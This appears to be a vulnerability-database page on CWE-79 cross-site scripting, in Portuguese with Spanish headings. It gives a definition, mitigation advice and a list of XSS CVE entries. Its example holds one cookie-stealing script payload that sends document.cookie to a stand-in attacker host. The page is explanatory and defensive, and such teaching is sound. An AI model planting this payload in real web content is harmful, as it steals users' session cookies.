Fallos del tipo CWE-79

29.596 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-22902MEDIUMOpenfind Mail2000 - XSSEPSS 0.4%CVE-2024-4487MEDIUMBlocksy Companion <= 2.0.45 - Authenticated (Contributor+) Stored Cross-Site Scripting via SVG UploadsEPSS 0.4%CVE-2023-1181MEDIUMCross-site Scripting (XSS) - Stored in icret/easyimages2.0EPSS 0.4%CVE-2023-25018MEDIUMRifartek IOT Wall - Reflected XSSEPSS 0.4%CVE-2024-4383MEDIUMSimple Membership <= 4.4.5 - Authenticated(Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2026-86188MEDIUMAVideo YPTSocket Plugin Unauthenticated Cross-Site ScriptingEPSS 0.4%CVE-2024-4209MEDIUMGutenberg Blocks by Kadence Blocks – Page Builder Features <= 3.2.36 - Authenticated (Contributor+) Stored Cross-Site Scripting via Countdown TimerEPSS 0.4%CVE-2026-44586HIGHSiYuan: Bazaar marketplace renders unescaped package author metadata, allowing XSS and Electron code executionEPSS 0.4%CVE-2025-7959MEDIUMStation Pro <= 2.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via width and height ParametersEPSS 0.4%CVE-2025-49898HIGHWordPress Dropshix plugin <= 4.0.14 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-26847MEDIUMA stored cross-site scripting (XSS) vulnerability in OpenCATS v0.9.7 allows attackers to execute arbitrary web scripts or HTML via a craftedEPSS 0.4%CVE-2024-23179MEDIUMAn issue was discovered in the GlobalBlocking extension in MediaWiki before 1.40.2. For a Special:GlobalBlock?uselang=x-xss URI, i18n-based EPSS 0.4%CVE-2025-40697MEDIUMReflected Cross-Site Scripting (XSS) in Lewe WebMeasureEPSS 0.4%CVE-2024-26466MEDIUMA DOM based cross-site scripting (XSS) vulnerability in the component /dom/ranges/Range-test-iframe.html of web-platform-tests/wpt before coEPSS 0.4%CVE-2022-44031MEDIUMRedmine before 4.2.9 and 5.0.x before 5.0.4 allows persistent XSS in its Textile formatter due to improper sanitization of the blockquote syEPSS 0.4%CVE-2024-11259MEDIUMcode-projects Farmacia fornecedores.php cross site scriptingEPSS 0.4%CVE-2025-7966MEDIUMGet Youtube Subs <= 3.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via subscribe_link_att FunctionEPSS 0.4%CVE-2024-2504MEDIUMPage Builder: Pagelayer – Drag and Drop website builder <= 1.8.4 - Authenticated(Contributor+) Stored Cross-Site Scripting via custom attributesEPSS 0.4%CVE-2023-29641MEDIUMCross Site Scripting (XSS) vulnerability in pandao editor.md thru 1.5.0 allows attackers to inject arbitrary web script or HTML via crafted EPSS 0.4%CVE-2026-52798HIGHGogs: Stored XSS in `.ipynb` PreviewEPSS 0.4%